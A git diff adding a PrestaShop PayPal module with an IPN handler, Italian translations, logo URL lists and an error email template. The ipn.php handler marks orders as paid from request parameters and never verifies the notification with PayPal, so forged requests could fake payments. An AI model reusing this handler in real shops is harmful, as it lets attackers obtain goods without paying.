Tools::redirectLink(__PS_BASE_URI__); + +exit(0); diff --git a/modules/paypal2/ipn.php b/modules/paypal2/ipn.php new file mode 100755 index 0000000..5101e88 --- /dev/null +++ b/modules/paypal2/ipn.php @@ -0,0 +1,57 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../init.php'); +include_once(dirname(__FILE__).'/paypal_orders.php'); + +function getIPNTransactionDetails() +{ + $transaction_id = pSQL(Tools::getValue('txn_id')); + return array( + 'id_invoice' => null, + 'id_transaction' => $transaction_id, + 'transaction_id' => $transaction_id, + 'currency' => pSQL(Tools::getValue('mc_currency')), + 'total_paid' => (float)Tools::getValue('mc_gross'), + 'shipping' => (float)Tools::getValue('mc_shipping'), + 'payment_date' => pSQL(Tools::getValue('payment_date')), + 'payment_status' => pSQL(Tools::getValue('payment_status')), + ); +} + +if (Tools::getValue('payment_status') !== false) +{ + $details = getIPNTransactionDetails(); + $id_order = PayPalOrder::getIdOrderByTransactionId($details['id_transaction']); + PayPalOrder::updateOrder($id_order, $details); + + $history = new OrderHistory(); + $history->id_order = (int)$id_order; + $history->changeIdOrderState((int)Configuration::get('PS_OS_PAYMENT'), $history->id_order); + $history->addWithemail(); + $history->save(); +} diff --git a/modules/paypal2/it.php b/modules/paypal2/it.php new file mode 100755 index 0000000..8c75a18 --- /dev/null +++ b/modules/paypal2/it.php @@ -0,0 +1,90 @@ +paypal_abstract_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Si accettano pagamenti con carte di credito e prepagate (Visa, MasterCard, Amex, Aurora) associate al conto PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Sei sicuro di voler cancellare i tuoi dati?'; +$_MODULE['<{paypal}prestashop>paypal_abstract_32af90c3cfef1bacf43b0c3a8f60a4da'] = 'Il denaro è stato recuperato '; +$_MODULE['<{paypal}prestashop>paypal_abstract_d238649ac5ec14afc894fad36c0b50fc'] = 'La richiesta di recupero fondi non è andata a buon fine, vedi il messaggio nella cronologia.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_05b998de2c4fb46a7bdd37bd378b81d9'] = 'La convalida è stata eseguita, vedi il messaggio nella cronologia. '; +$_MODULE['<{paypal}prestashop>paypal_abstract_aeca7e93a1b3d77e38c3cffa131774d5'] = 'Il rimborso è stato completato '; +$_MODULE['<{paypal}prestashop>paypal_abstract_cba030a50c8a99c7e224adbe1cf58544'] = 'La richiesta di rimborso non è andata a buon fine, vedi il messaggio nella cronologia.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_20fda49ece75d93bea97648ab1f1f1cf'] = 'Annulla i risultati per i prodotti: '; +$_MODULE['<{paypal}prestashop>paypal_abstract_e5d5d9f40763cfe6549bef705e3529a7'] = 'Il messaggio di pagamento non è valido, rivedi il tuo modulo. '; +$_MODULE['<{paypal}prestashop>paypal_abstract_ee9dc1e678d54c517f481583c3fb2db8'] = 'Non è una valuta valida'; +$_MODULE['<{paypal}prestashop>paypal_abstract_eec39bf42bd135971fb2d838c67d1449'] = 'Risultato dell\'operazione di rimborso: '; +$_MODULE['<{paypal}prestashop>paypal_abstract_2ab62d1a578713d0862b56819295630e'] = 'Rimborso PayPal completato. '; +$_MODULE['<{paypal}prestashop>paypal_abstract_a64db959966ba8d07c8b5d9493fcc21f'] = 'Errore durante la transazione '; +$_MODULE['<{paypal}prestashop>paypal_abstract_67962779da962e3d4225055afc05e7bd'] = 'Risultato operazione di riscossione: '; +$_MODULE['<{paypal}prestashop>paypal_abstract_8778ee03f6592d5fec9a1f2ee851e476'] = 'Ordine PayPal completato '; +$_MODULE['<{paypal}prestashop>paypal_abstract_672d40feac6437e49f771019bc330790'] = 'Stato della verifica: '; +$_MODULE['<{paypal}prestashop>paypal_abstract_1828820cc60e36b6f9fdf60cab103ed7'] = 'Si sta attualmente utilizzando l\'indirizzo di posta elettronica predefinito, è necessario utilizzare il proprio indirizzo e-mail'; +$_MODULE['<{paypal}prestashop>validation_20dfea1a472e5be3f15f6b5f36ca335c'] = 'Problema di connessione al server di PayPal.'; +$_MODULE['<{paypal}prestashop>validation_f7799c2ded739cf3c3e9babffc5f315b'] = 'Collegamento tramite cURL non riuscita'; +$_MODULE['<{paypal}prestashop>validation_eca77e208634d52703b07672abbf16ec'] = 'Verifica fallimento (con cURL). Restituito:'; +$_MODULE['<{paypal}prestashop>validation_8358ec19f397d4cdd632688d4f79e535'] = 'Verifica fallimento (usando fsockopen). Restituito:'; +$_MODULE['<{paypal}prestashop>validation_76ee8dc73701e846f7bccdf98dae079b'] = 'Nessuna comunicazione di trasporto disponibile.'; +$_MODULE['<{paypal}prestashop>validation_bd0e34e5be6447844e6f262d51f1a9dc'] = 'Pagamento:'; +$_MODULE['<{paypal}prestashop>validation_e0395c4ce35d0b1e59ca3f2d5e260d23'] = 'Chiave Paypal \'Custom\' non specificata, non in grado di inoltrare al carrello'; +$_MODULE['<{paypal}prestashop>validation_765261b630ee773659fae89e9ad762f5'] = 'Chiave Paypal \'Txn_id\' non specificata, operazione sconosciuta'; +$_MODULE['<{paypal}prestashop>validation_01634612f84d2b7ba56ccdf467e604b7'] = 'Chiave Paypal \'Mc_currency\' non specificata, valuta sconosciuto'; +$_MODULE['<{paypal}prestashop>validation_e61f52d02b9f52fbe1fd41ed320e29c3'] = 'Carrello non trovato'; +$_MODULE['<{paypal}prestashop>validation_0617900b1aff826081d07f5a3e2e7cd0'] = 'Ordine è già stato effettuato'; +$_MODULE['<{paypal}prestashop>validation_f5209b3301a46f3057ffbf34d903e205'] = 'ID Transazione PayPal:'; +$_MODULE['<{paypal}prestashop>validation_7b19e875ff64b09d80ee05dcc84b9975'] = 'La transazione PayPal non è stata VERIFICATA.'; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Fare nuova connessione'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Connessione non riuscita con metodo CURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Connessione con metodo CURL riuscita'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Invio di questo param.:'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Invio con metodo CURL fallito! Errore:'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Invio con metodo CURL riuscito'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Connessione non riuscita con metodo fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'Connettiti con metodo fsockopen riuscita'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Invio con metodo fsockopen non riuscito!'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Invio con metodo fsockopen riuscito'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'risposta di PayPal:'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_ee9dc1e678d54c517f481583c3fb2db8'] = 'Non è una valuta valida'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_484f5a79672cebe198ebdde45a1d672f'] = 'Pacchetto regalo:'; +$_MODULE['<{paypal}prestashop>submit_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento accettato.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento accettato.'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'Che cos\'è PayPal?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, leader di fiducia nei pagamenti online, consente ad acquirenti e aziende di inviare e ricevere pagamenti online. PayPal vanta oltre 100 milioni di conti in 190 Paesi e territori. È accettato dai commercianti di tutto il mondo, dentro e fuori di eBay.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'E\' sicuro?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal consente di proteggere i dati della carta di credito con la sicurezza dei leader di settore e dei sistemi di prevenzione delle frodi. Quando utilizzi PayPal, le tue informazioni finanziarie non vengono mai condivise con il commerciante.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Perché utilizzare PayPal?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Fai acquisti o invia denaro con PayPal - è gratis'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Fai acquisti e paga comodamente salvando le tue informazioni con PayPal'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'PayPal è accettato da milioni di aziende in tutto il mondo ed è il metodo di pagamento preferito su eBay'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Inizia a utilizzare PayPal oggi stesso!'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Paga con PayPal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Il tuo ordine'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'è completo.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Hai scelto il metodo PayPal.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Il tuo ordine verrà inviato al più presto.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Per eventuali domande o per ulteriori informazioni, contatta la nostra'; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'assistenza clienti'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Il tuo carrello'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>error_425551a2289ed60c9260933d1c45ef00'] = 'Si prega di fare riferimento ai log:'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Indietro'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Conferma ordine'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Il tuo numero di ordine è:'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Segui il mio ordine'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Torna agli ordini'; +$_MODULE['<{paypal}prestashop>express_checkout_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Paga con PayPal'; +$_MODULE['<{paypal}prestashop>payment_a40cab5994f36d4c48103a22ca082e8f'] = 'Il tuo carrello'; +$_MODULE['<{paypal}prestashop>payment_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>payment_f1d3b424cd68795ecaa552883759aceb'] = 'Riepilogo dell\'ordine'; +$_MODULE['<{paypal}prestashop>payment_dd23adc5fb6bda9c384397b31e57fc53'] = 'pagamento PayPal'; +$_MODULE['<{paypal}prestashop>payment_62d74398cb6ebaa69ab7339052ca5c92'] = 'Hai scelto di pagare con PayPal.'; +$_MODULE['<{paypal}prestashop>payment_c884ed19483d45970c5bf23a681e2dd2'] = 'Ecco un breve riepilogo del tuo ordine:'; +$_MODULE['<{paypal}prestashop>payment_e2867a925cba382f1436d1834bb52a1c'] = 'L\'importo totale del tuo ordine è'; +$_MODULE['<{paypal}prestashop>payment_1f87346a16cf80c372065de3c54c86d9'] = '(tasse incl.)'; +$_MODULE['<{paypal}prestashop>payment_8ed356c32b198c9cb2abab7c3d262b93'] = 'Accettiamo che la seguente valuta sia inviata tramite PayPal:'; +$_MODULE['<{paypal}prestashop>payment_0881a11f7af33bc1b43e437391129d66'] = 'Conferma l\'ordine cliccando su \'confermo il mio ordine\''; +$_MODULE['<{paypal}prestashop>payment_46b9e3665f187c739c55983f757ccda0'] = 'Confermo il mio ordine'; +$_MODULE['<{paypal}prestashop>payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Paga con PayPal'; +$_MODULE['<{paypal}prestashop>payment_a3f2caee6ef8e68fbd26e42d83f2bf65'] = 'Paga con il tuo conto PayPal, carta di credito (Visa, Mastercard ...), o carta di credito privata'; +$_MODULE['<{paypal}prestashop>payment_b08008a2de4331ba13f006c9bcf37b62'] = 'Paga con il tuo conto PayPal'; +$_MODULE['<{paypal}prestashop>paypal_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Paga con PayPal'; diff --git a/modules/paypal2/logo.gif b/modules/paypal2/logo.gif new file mode 100755 index 0000000..455c899 Binary files /dev/null and b/modules/paypal2/logo.gif differ diff --git a/modules/paypal2/logo.png b/modules/paypal2/logo.png new file mode 100755 index 0000000..e324819 Binary files /dev/null and b/modules/paypal2/logo.png differ diff --git a/modules/paypal2/logos.xml b/modules/paypal2/logos.xml new file mode 100755 index 0000000..c7b821e --- /dev/null +++ b/modules/paypal2/logos.xml @@ -0,0 +1,343 @@ + + + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + /img/default_logos/default_horizontal.png + /img/default_logos/default_logo.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_AU/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_AU/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_AU/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_AU/AU/i/bnr/horizontal_solution_PP.gif + + + /img/default_logos/AU_vertical_solution_PP.png + + + + https://www.paypal.com/fr_FR/BE/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/fr_FR/BE/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/fr_FR/BE/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_US/BE/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/fr_FR/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/fr_FR/i/logo/PayPal_mark_60x38.gif + https://www.paypal.com/fr_FR/i/logo/PayPal_mark_180x113.gif + + + /img/default_logos/BE_horizontal_solution_PP.png + + + /img/default_logos/BE_vertical_solution_PP.png + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/zh_CN/CN/i/logo/PayPal_mark_60x38.gif + https://www.paypal.com/zh_CN/CN/i/logo/PayPal_mark_180x113.gif + + https://www.paypal.com/zh_CN/i/bnr/horizontal_solution_PP.gif + https://www.paypal.com/zh_CN/i/bnr/vertical_solution_PP.gif + + + + https://www.paypal-deutschland.de/external/logocenter-update/logo-paypal-100x27.gif + https://www.paypal-deutschland.de/external/logocenter-update/logo-paypal-150x41.gif + https://www.paypal-deutschland.de/external/logocenter-update/logo-paypal-200x55.gif + + + /img/default_logos/DE_horizontal_solution_PP.gif + + + /img/default_logos/DE_vertical_solution_PP.gif + + + + https://www.paypal.com/es_ES/ES/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/es_ES/ES/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/es_ES/ES/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/es_ES/ES/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/es_ES/ES/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/es_ES/ES/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/es_ES/ES/i/bnr/horizontal_solution_PP.gif + https://www.paypal.com/es_ES/ES/i/bnr/vertical_solution_PP.gif + + + + https://www.paypal.com/fr_FR/FR/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/fr_FR/FR/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/fr_FR/FR/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/fr_FR/FR/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/fr_FR/FR/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/fr_FR/FR/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif + + + + /img/default_logos/FR_vertical_solution_PP.png + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/en_GB/i/bnr/horizontal_solution_PP.gif + https://www.paypal.com/en_GB/i/bnr/vertical_solution_PP.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/en_GB/HK/i/bnr/horizontal_solution_4_hk.gif + https://www.paypalobjects.com/en_GB/HK/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_US/PL/i/bnr/bnr_horizontal_solution_PP_166wx80h.gif + https://www.paypalobjects.com/en_US/PL/i/bnr/bnr_horizontal_solution_PP_166wx80h.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/en_GB/SG/i/bnr/horizontal_solution_mc_visa.gif + https://www.paypalobjects.com/en_GB/SG/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/it_IT/IT/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/it_IT/IT/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/it_IT/IT/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/it_IT/IT/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/it_IT/IT/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/it_IT/IT/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/it_IT/IT/Marketing/i/bnr/bnr_horizontal_solutiongraphic_335x80.gif + https://www.paypalobjects.com/it_IT/IT/Marketing/i/bnr/bnr_vertical_solutiongraphic_150x172.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/en_US/JP/i/bnr/horizontal_solution_4_jcb.gif + https://www.paypal.com/en_US/JP/i/bnr/vertical_solution_4_jcb.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_GB/SG/i/bnr/horizontal_solution_4_hk.gif + https://www.paypalobjects.com/en_GB/SG/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/nl_NL/NL/i/bnr/horizontal_solution_PP.gif + + + + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_AU/AU/i/bnr/horizontal_solution_PP.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + + /img/default_logos/PL_horizontal_solution_PP.png + + + /img/default_logos/PL_vertical_solution_PP.png + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/fr_XC/i/bnr/horizontal_solution_PPeCheck.gif + https://www.paypalobjects.com/fr_XC/i/bnr/vertical_solution_PPeCheck.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_US/PL/i/bnr/bnr_horizontal_solution_PP_166wx80h.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + + /img/default_logos/RA_horizontal_solution_PP.png + + + /img/default_logos/RA_vertical_solution_PP.png + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + + /img/default_logos/RE_horizontal_solution_PP.png + + + /img/default_logos/RE_vertical_solution_PP.png + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_GB/SG/i/bnr/horizontal_solution_4_hk.gif + https://www.paypalobjects.com/en_GB/SG/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_GB/TH/i/bnr/horizontal_solution_4_hk.gif + https://www.paypalobjects.com/en_GB/TH/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/en_GB/HK/i/bnr/horizontal_solution_4_hk.gif + https://www.paypal.com/en_GB/HK/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/fr_XC/i/bnr/horizontal_solution_PPeCheck.gif + https://www.paypalobjects.com/fr_XC/i/bnr/vertical_solution_PPeCheck.gif + + + diff --git a/modules/paypal2/mails/en/error_reporting.html b/modules/paypal2/mails/en/error_reporting.html new file mode 100755 index 0000000..a28099c --- /dev/null +++ b/modules/paypal2/mails/en/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Error reporting from your PayPalAPI module
         
        A client has encountered a problem with the module PayPalAPI, see the report:
         
        {logs}
         
